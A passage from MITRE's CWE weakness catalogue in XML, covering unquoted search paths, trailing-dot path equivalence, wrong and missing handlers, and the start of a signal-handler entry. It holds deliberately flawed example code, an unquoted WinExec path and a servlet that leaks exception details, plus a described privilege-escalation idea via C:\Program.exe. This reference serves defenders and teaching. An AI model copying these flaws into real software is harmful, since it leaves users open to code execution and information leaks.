				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="428" Name="Unquoted Search Path or Element" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses a search path that contains an unquoted
					element, in which the element contains whitespace or other separators. This can
					cause the product to access resources in a parent path.</Description_Summary>
				        <Extended_Description>
					          <Text>If a malicious individual has access to the file system, it is possible to
						elevate privileges by inserting such a file as "C:\Program.exe" to be run by
						a privileged program making use of WinExec.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>417</Relationship_Target_ID>
					          <!--Channel and Path Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System Prevalence="Sometimes" Operating_System_Name="Windows 2000"/>
					          <Operating_System Prevalence="Sometimes" Operating_System_Name="Windows XP"/>
					          <Operating_System Prevalence="Sometimes" Operating_System_Name="Windows Vista"/>
					          <Operating_System Prevalence="Rarely" Operating_System_Name="Mac OS X"/>
				        </Operating_Systems>
				        <Platform_Notes>
					          <Text>This weakness could apply to any OS that supports spaces in filenames,
						especially any OS that make it easy for a user to insert spaces into
						filenames or folders, such as Windows. While spaces are technically
						supported in Unix, the practice is generally avoided. .</Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This weakness primarily involves the lack of quoting, which is not
						explicitly stated as a part of CWE-116. CWE-116 also describes output in
						light of structured messages, but the generation of a filename or search
						path (as in this weakness) might not be considered a structured
						message.</Text>
					          <Text>An additional complication is the relationship to control spheres. Unlike
						untrusted search path (CWE-426), which inherently involves control over the
						definition of a control sphere, this entry concerns a fixed control sphere
						in which some part of the sphere may be under attacker control. This is not
						a clean fit under CWE-668 or CWE-610, which suggests that the control sphere
						model needs enhancement or clarification.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Properly quote the full search path before executing a
							program on the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW
								);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1185</Observed_Example_Reference>
					          <Observed_Example_Description>Small handful of others. Program doesn't quote the
						"C:\Program Files\" path when calling a program to be executed - or any
						other path with a directory or file whose name contains a space - so
						attacker can put a malicious program.exe into
						C:.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2938</Observed_Example_Reference>
					          <Observed_Example_Description>CreateProcess() and CreateProcessAsUser() can be
						misused by applications to allow "program.exe" style attacks in
						C:</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1128</Observed_Example_Reference>
					          <Observed_Example_Description>Applies to "Common Files" folder, with a malicious
						common.exe, instead of "Program
						Files"/program.exe.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Program invocation</Functional_Area>
			      </Functional_Areas>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied, probably under-reported.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 11, "Process Loading", Page 654.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unquoted Search Path or Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>38</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Maintenance_Notes, Other_Notes, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="43" Name="Path Equivalence: 'filename....' (Multiple Trailing Dot)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					multiple trailing dot ('filedir....') without appropriate validation can lead to
					ambiguous path resolution and allow an attacker to traverse the file system to
					unintended locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>42</Relationship_Target_ID>
					          <!--Path Equivalence: 'filename.' (Trailing Dot)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>163</Relationship_Target_ID>
					          <!--Improper Neutralization of Multiple Trailing Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>BUGTRAQ:20040205</Observed_Example_Reference>
					          <Observed_Example_Description>Apache + Resin Reveals JSP Source Code
						...</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0281</Observed_Example_Reference>
					          <Observed_Example_Description>Multiple trailing dot allows directory
						listing</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Multiple Trailing Dot - 'filedir....'</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Multiple
						Trailing Dot - 'filedir....'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="430" Name="Deployment of Wrong Handler" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The wrong "handler" is assigned to process an
					object.</Description_Summary>
				        <Extended_Description>
					          <Text>An example of deploying the wrong handler would be calling a servlet to
						reveal source code of a .JSP file, or automatically "determining" type of
						the object even if it is contradictory to an explicitly specified type.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>429</Relationship_Target_ID>
					          <!--Handler Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>433</Relationship_Target_ID>
					          <!--Unparsed Raw Web Content Delivery-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>434</Relationship_Target_ID>
					          <!--Unrestricted Upload of File with Dangerous Type-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
					          <Ordinality_Description>
						            <Text>This weakness is usually resultant from other weaknesses.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform a type check before interpreting an object.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Reject any inconsistent types, such as a file with a .GIF extension
							that appears to consist of PHP code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0004</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure via manipulated file
						extension that causes parsing by wrong DLL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0025</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser does not properly handle the
						Content-Type header field, causing a different application to process the
						document.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1052</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure by directly invoking a
						servlet.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1742</Observed_Example_Reference>
					          <Observed_Example_Description>Arbitrary Perl functions can be loaded by calling
						a non-existent function that activates a
						handler.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "File Handlers", Page 74.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Improper Handler Deployment</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Improper Handler
						Deployment</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="431" Name="Missing Handler" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A handler is not available or
					implemented.</Description_Summary>
				        <Extended_Description>
					          <Text>When an exception is thrown and not caught, the process has given up an
						opportunity to decide if a given failure or event is worth a change in
						execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>429</Relationship_Target_ID>
					          <!--Handler Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>433</Relationship_Target_ID>
					          <!--Unparsed Raw Web Content Delivery-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Handle all possible situations (e.g. error condition).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>If an operation can throw an Exception, implement a handler for that
							specific exception.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>If a Servlet does not catch all exceptions, it may reveal debugging
						information that will help an adversary form a plan of attack. In the
						following method a DNS lookup failure will cause the Servlet to throw an
						exception.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>protected void doPost (HttpServletRequest req, HttpServletResponse
								res) throws IOException {</Code>
							              <Block>
								                <Code>String ip = req.getRemoteAddr();</Code>
								                <Code>InetAddress addr = InetAddress.getByName(ip);</Code>
								                <Code>...</Code>
								                <Code>out.println("hello " + addr.getHostName());</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>When a Servlet throws an exception, the default error response the
							Servlet container sends back to the user typically includes debugging
							information. This information is of great value to an attacker.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "File Handlers", Page 74.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Handler</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="432" Name="Dangerous Signal Handler not Disabled During Sensitive Operations" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The application uses a signal handler that shares state with
					other signal handlers, but it does not properly mask or prevent those signal
					handlers from being invoked while the original signal handler is still
					running.</Description_Summary>
				        <Extended_Description>
					          <Text>During the execution of a signal handler, it can be interrupted by another
						handler when a different signal is sent. If the two handlers share state -
						such as global variables - then an attacker can corrupt the state by sending
